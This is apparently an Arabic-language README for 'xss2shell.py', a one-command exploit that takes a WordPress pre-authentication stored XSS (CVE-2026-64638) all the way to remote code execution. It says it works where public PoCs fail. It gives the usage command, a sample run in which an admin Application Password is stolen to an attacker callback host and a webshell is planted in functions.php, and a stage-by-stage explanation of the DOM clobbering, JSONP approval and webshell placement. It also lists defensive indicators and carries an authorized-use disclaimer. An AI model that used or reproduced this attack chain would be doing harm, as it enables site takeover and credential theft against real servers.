
CVE-2026-64638 | WordPress < 7.0.3 XSS مخزّن قبل المصادقة → تنفيذ تعليمات برمجية عن بُعد (RCE)
كل إثبات مفهوم (PoC) عام لهذه الثغرة معطّل. هذا الإصدار يعمل.
الثغرة · البدء السريع · كيف يعمل · القيود
لا يقوم WordPress < 7.0.3 بتنقية المعامل log (اسم المستخدم) في wp-login.php. تُخزَّن القيمة وتُعرَض داخل جلسة المسؤول الموثّقة — وهو XSS مخزّن قبل المصادقة يتسلسل إلى استيلاء كامل على الخادم بنقرة واحدة.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| المرحلة | الإجراء | التفصيل |
|---|---|---|
| 1. XSS | الحقن عبر wp-login.php | معامل log المُصمَّم مع DOM clobbering (<area id=ajaxurl>) يختطف عنوان AJAX الخاص بـ WP، وينقر تلقائيًا على الموافقة على App Password عبر JSONP |
| 2. السرقة | تسريب Application Password | authorize-application.php ينشئ App Password بصمت؛ success_url يرسله إلى المهاجم |
| 3. الصدفة | كتابة webshell (3 بدائل) | محرر القوالب → functions.php · رفع إضافة → xss2shell/shell.php · محرر الإضافات → ملف إضافة موجود |
| 4. RCE | تنفيذ أوامر نظام التشغيل | يشغّل webshell الأمر shell_exec()، ويعيد مخرجات JSON، وتتحقق الأداة تلقائيًا وتنظّف |
| الإصدار | الحالة |
|---|---|
| WordPress < 7.0.3 | عرضة للثغرة |
| WordPress >= 7.0.3 | مُصحَّح |
| الشرط | التأثير |
|---|---|
DISALLOW_FILE_EDIT | محررات القوالب/الإضافات محظورة — يعمل رفع ZIP فقط |
DISALLOW_FILE_MODS | جميع الطرق الثلاث محظورة — لا RCE |
| WAF (Cloudflare، Wordfence) | قد يفلتر حمولة XSS أو طلبات webshell |
disable_functions في PHP | shell_exec محظور — مخرجات فارغة |
| مانع النوافذ المنبثقة | يكسر سلسلة النوافذ المنبثقة |
| ترويسات CSP الصارمة | تحظر JS المضمّن أو fetch عبر الأصول |
ابحث عن هذه المؤشرات إذا استُخدم xss2shell ضد موقعك:
XSS2Shell-Poc-Wordsecxss2shell في wp-content/plugins/xss2shell_cmd في functions.php أو أي ملف إضافة/?rest_route=/&_method=GET&_jsonp=كل PoC عام لـ CVE-2026-64638 يتوقف عند alert(1) أو يتطلب خطوات يدوية لا يستطيع أي مُصنِّف إعادة إنتاجها. تقدّم هذه الأداة استغلال السلسلة الكاملة بأمر واحد — من انعدام المصادقة إلى RCE. صُممت لباحثي الأمن الذين يحتاجون إلى دليل، لا نظرية.
لـ اختبارات الأمان المصرّح بها والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني.
WordSec · CVE-2026-64638 · مُصحَّح في WordPress 7.0.3